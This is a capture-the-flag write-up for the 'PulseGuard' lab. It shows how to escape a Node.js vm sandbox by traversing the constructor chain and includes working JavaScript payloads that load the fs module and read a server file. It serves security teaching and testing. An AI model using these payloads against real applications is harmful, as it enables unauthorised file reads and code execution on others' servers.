Lab 54 — PulseGuard — RCE via node:vm Sandbox Escape
Lab 54 — PulseGuard — RCE via node:vm Sandbox Escape
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: constructor_chain_traversal, file_read_rce, prototype_pollution, vm_sandbox_escape
Summary
Task: PulseGuard monitoring platform allows custom JavaScript monitors running in node:vm sandbox. Solution: escape vm sandbox via constructor chain traversal to access process.mainModule.require('fs') and read /root/flag.txt.
Lab 54 — PulseGuard — RCE via node:vm Sandbox Escape — HackAdvisor
Description
PulseGuard is an infrastructure monitoring platform built by SentinelOps Inc. Teams use it to track uptime of their services, configure automated health checks across HTTP endpoints, ping targets, and custom JavaScript-based monitors. The platform supports real-time alerting through email and webhook channels, incident tracking and resolution, and team collaboration.
Your organization has deployed PulseGuard to monitor critical infrastructure. As part of a security assessment, you need to evaluate whether the platform's custom scripting feature is properly sandboxed.
Your goal is to find and exploit a vulnerability that allows you to read the contents of /root/flag.txt on the server.
English summary: PulseGuard is an infrastructure monitoring platform with custom JavaScript monitor support. The goal is to escape the JavaScript sandbox and read /root/flag.txt from the server.
Analysis
Initial Recon
Logged into PulseGuard with provided credentials (user@test.com / password123). The application is an Express.js-based infrastructure monitoring platform.
Feature Discovery
Explored the monitors section and found three monitor types available:
- HTTP Endpoint — standard HTTP health checks
- Ping — ICMP ping monitoring
- Custom JavaScript — user-defined JavaScript code execution (key vulnerability!)
Vulnerability Identification
The "Custom JavaScript" monitor type allows users to write JavaScript code that runs in a "sandboxed environment with a 5 second timeout." The hint in the challenge title mentions "node:vm Sandbox Escape".
Critical insight: Node.js vm module is NOT a security sandbox. From the official Node.js documentation:
"The vm module is not a security mechanism. Do not use it to run untrusted code."
The vm module creates a new V8 context but shares the same JavaScript engine. Objects passed into the sandbox maintain their prototype chain to the main context. By traversing the constructor chain, we can escape back to the main context and access Node.js globals.
Solution
Exploitation Payload
Created a new monitor with type "script" using the classic vm sandbox escape payload:
javascript read-only • copy allowedconst process = this.constructor.constructor("return this.process")(); const fs = process.mainModule.require("fs"); const flag = fs.readFileSync("/root/flag.txt", "utf8"); result = { status: "healthy", flag: flag };
Payload Breakdown
this.constructor— gets the Object constructor from the sandbox context.constructor— gets the Function constructor (since Object is a function)("return this.process")— creates a new function that executes in the main context (outside sandbox)()— calling this function returns the realprocessobject from Node.jsprocess.mainModule.require("fs")— loads the filesystem module from the main contextfs.readFileSync("/root/flag.txt", "utf8")— reads the flag file
Execution
Triggered the monitor via POST to /monitors/8/run endpoint, which returned the flag in the output:
json read-only • copy allowed{ "status": "healthy", "flag": "FLAG{REDACTED}" }
Technical Deep Dive
Why vm Sandbox Escape Works
The Node.js vm module provides a way to run JavaScript code in a separate V8 context. However, it has fundamental limitations:
- Shared Prototype Chain — Objects created in the sandbox inherit from constructors in the main context
- Constructor Access — Any object's
.constructorproperty leads back to the Function constructor - Function Constructor — The Function constructor can create functions that execute in the global scope
- Process Access — Once in the global scope,
this.processgives access to Node.js internals
Attack Chain Visualization
Sandbox Context Main Context
| |
v |
this.constructor ─────────────────> Object
| |
v |
Object.constructor ───────────────> Function
| |
v |
Function("return this.process")() ──> process
| |
v |
process.mainModule.require("fs") ──> fs module
| |
v |
fs.readFileSync("/root/flag.txt") ─> FLAG
Alternative Payloads
Other common vm escape techniques that would also work:
javascript read-only • copy allowed// Using arguments.callee.caller const f = this.constructor.constructor; const p = f("return process")(); const flag = p.mainModule.require("fs").readFileSync("/root/flag.txt", "utf8"); // Direct prototype access const proc = (function(){}).constructor("return this")().process; const flag = proc.mainModule.require("fs").readFileSync("/root/flag.txt", "utf8");
Notes
The challenge included decoy flags in HTML comments:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
These are designed to trick automated scanners. Always verify the actual flag from the target file specified in the challenge description.